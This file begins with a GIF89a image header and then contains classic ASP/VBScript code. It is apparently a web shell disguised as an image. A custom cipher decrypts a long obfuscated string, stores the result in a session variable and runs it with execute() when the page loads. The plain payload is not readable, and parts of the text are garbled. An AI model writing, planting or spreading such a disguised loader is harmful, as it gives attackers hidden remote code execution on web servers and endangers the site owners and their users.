GIF89a<% Public Const sDefaultWHEEL1 = ">/ShR'b=V cCF.95WHU3Ei-4);aI6A""+10dj(P,2geNkfxm 0 Then sRESULT = sRESULT & mid(sWHEEL1, k, 1) Else sRESULT = sRESULT & Addpass(c,sPASSWORD) End If sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2) Next Decrypt_PRO = sRESULT End Function Function LeftShift(s ) If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1) End Function Function RightShift(s ) If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1) End Function Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD ) Dim i ,k For i = 1 To Len(sPASSWORD) For k = 1 To ascW(mid(sPASSWORD, i, 1)) * i sW1 = LeftShift(sW1): sW2 = RightShift(sW2) Next Next End Sub Function Addpass(tStr,tPass) Select Case tStr Case ChrW(13) Addpass = tStr Case ChrW(10) Addpass = tStr Case ChrW(13)+ChrW(10) Addpass = tStr Case ChrW(9) Addpass = tStr Case Else dim a a= mid(tstr,1,1) Addpass = ChrW((ascW(tPass) Xor Len(tPass)) Xor ascW(tstr)) End Select End Function Dim crypt_PRO,Key,Code crypt_PRO="k#BJc&E(K>;QmfK/b!U0#neP-EhRT!At=.4ftmlSgr0:tBixk(0s>< v;=_!tIr (.41wV.j4ftHu I7J>0x ,s1Aa9/#n""LzlN)'Q>7V 3PTl(7ia4Qpumfg1w ,-QVix207R0C& Rp7WshQ.-('C:o1gz;.v3Wyw.Up0;9 Jq-emt_.jT1Bck76xHWxlIuvjuo R9_4i7p o#zT.p(,9t6""gjcJ82hdx):zW+Wro2.kUL46:#/T8.QQF=_(+FkߢFԱF򄋿딍k84N7_&6k;alnFn9fJ/egUS2hdx)::sN R9Bd/-3)&z71.P,xcKlpaW2N4lBygql75_3T#wNF'Vf!52U8cWi5le/&It5 r=cJ0SU_>6'NBygSo-7F!&B=0o'r0:g&rBj_KPHJ0SU_>6vE ""i; 9+NV!o-.eS7la(xQA,'B!h,-W4c;IVNqg93dnK77_Iek8l,nVu&q)tT;wsqx+r(3pqf!CR5""tE7i'AV-.qS7lt,eCoLw;jiIvc(p9!#x!>z9365,_V1T'a0&6uLvy8QɣڦpQؽVϜfȄuۖ,W=wTJJ0#;qz;PTqzjd0k!4.=;.bvlpL)_9!kRSc-(lAv,qdKQf;wK,=cSu_R><0j9p3w 34!VU8/17:y<&/""1;73PxhovyV_NgEjcsH'h!z=,w7z;wp,tx_kS38xdoWCU# Wd.!u8z#ANgjUj!qzTawrRuvrcULIJv'BS# Wd_wUAPW9)'puJEx# dJr3Eyk>JB6aS0d,d)_,'f(7nK;&voSwWrRTFRL+!fRNHp>4-mtdB'5w LTf-m#x>RaS,9J tmdqlU_lt/WRT2#zT.p(,9t ""gjckecCP4yg:,VցOJցOV(leVnQdb1Q_kadz0Wx8>P4&vL&n'Ub9a3/ wTo'l'adQ;S1w2>""jjJI'>38VRTzgUv5x!ax+K;e7tqaL Tnvh>pIy rrwCֺ3dt!Q&lAAxRTb;6'qa= Ts_9+,zefopyQ4>vRp#wREI52FplbPKt>'v,7s_w/_.SI8A!94E yJ1wR:&/t7irw))_6_ֺsT x3dzII8A!94E yJ1wR:&/t7il0C9ey6NKhE0kVw_S;a7p>< 3t_znj-iaAcIl0x;vtq'w P+_(I#0T6hB'>6Q H_0A1W'aL(Hu:ivts""kKRgN(&h8xJ8E/V_uu<4!3+)xWe;tlScpT8bNgf5LV""C dE7(WNk:t>.t1,KFH7""4c;yIzC7ub:syKUigjWpNJp c}J8d9i)'e6wJI'>38VRTzgUv5x!ax7h,w66mn ,jvS(UK!EwH'0b'Neo!n)hWko6wT") code=Decrypt_PRO(crypt_PRO,Key) code=replace(code,"",vbCrLf) Session("EXBkHKFSg")=code end if execute(Session("EXBkHKFSg")) %>